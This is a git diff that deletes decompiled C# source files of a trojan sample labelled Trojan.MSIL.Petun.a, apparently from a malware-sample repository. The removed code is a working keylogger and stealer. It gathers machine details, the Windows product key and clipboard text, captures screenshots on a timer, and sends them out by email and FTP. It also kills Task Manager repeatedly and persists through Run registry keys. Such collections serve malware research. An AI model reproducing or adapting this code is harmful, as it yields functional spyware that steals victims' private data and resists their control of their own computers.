- str = str + "System Information - \r\n" + Module1.XQYCdOeik() + "\r\n"; - if (Module1.rDHVq) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.jzSmG = str + Module1.jzSmG; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.aMQpQbV)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.zCLidH) - { - ref string local1 = ref Module1.Msnnmr; - ref string local2 = ref Module1.gwmphG; - ref string local3 = ref Module1.aRIVfP; - ref string local4 = ref Module1.lxatZ; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.NHZWs); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.NHZWs = Conversions.ToString(integer); - } - } - while (!Module1.qFPxwkk); - Module1.UpFTPImg(ref Module1.RVYPoR, ref Module1.gNIIHM, ref Module1.xKxvpIF, ref Module1.yUWfDk); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void aMQpQbV() - { - string jzSmG = Module1.jzSmG; - Module1.jzSmG = ""; - if (Module1.zCLidH) - { - ref string local1 = ref Module1.Msnnmr; - ref string local2 = ref Module1.gwmphG; - ref string local3 = ref Module1.aRIVfP; - ref string local4 = ref Module1.lxatZ; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref jzSmG; - int integer = Conversions.ToInteger(Module1.NHZWs); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.NHZWs = Conversions.ToString(integer); - } - if (!Module1.qFPxwkk) - return; - Module1.UpFTP(ref Module1.RVYPoR, ref Module1.gNIIHM, ref Module1.xKxvpIF, ref Module1.yUWfDk, ref jzSmG); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.UuGzSBYI) * 60.0 * 1000.0)))); - - private static void avwGeLoEk(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string pEOwwjWxU(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string XQYCdOeik() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.pEOwwjWxU((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.pEOwwjWxU((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void oHEbwVbXj() - { -label_0: - Module1.avwGeLoEk(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.avwGeLoEk(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void xSlfVBKKJ() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string Msnnmr, - ref string Dir, - ref string gwmphG, - ref string aRIVfP, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + Msnnmr + Dir + str2, gwmphG, aRIVfP); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Msnnmr + Dir + str2 + ".gif", gwmphG, aRIVfP); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct xwZGXKOnO - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum ZRqGxiQSn - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - hrxtFWl = 35, // 0x00000023 - ioIQFkg = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - onEtvnN = 45, // 0x0000002D - pDeydCT = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - SWtBImy = 162, // 0x000000A2 - tdLOiLP = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.xwZGXKOnO lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyApplication.cs deleted file mode 100644 index 44e625b6..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Multi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BBCF6EA4-3682-4E32-B553-2ADB229A2BF3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyComputer.cs deleted file mode 100644 index 9d211b53..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Multi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BBCF6EA4-3682-4E32-B553-2ADB229A2BF3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyProject.cs deleted file mode 100644 index 6d118aec..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Multi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BBCF6EA4-3682-4E32-B553-2ADB229A2BF3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/ROS.cs deleted file mode 100644 index 6458991e..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: Multi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BBCF6EA4-3682-4E32-B553-2ADB229A2BF3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\nkIdCtqC", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.gdzjuzwIZ, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/ThDqzYT.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/ThDqzYT.cs deleted file mode 100644 index 3033bd5a..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/ThDqzYT.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ThDqzYT -// Assembly: Multi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BBCF6EA4-3682-4E32-B553-2ADB229A2BF3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363.exe - -using System; -using System.Threading; - -internal class ThDqzYT : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public ThDqzYT(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/TnSqIUJGz.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/TnSqIUJGz.cs deleted file mode 100644 index 72805e04..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/TnSqIUJGz.cs +++ 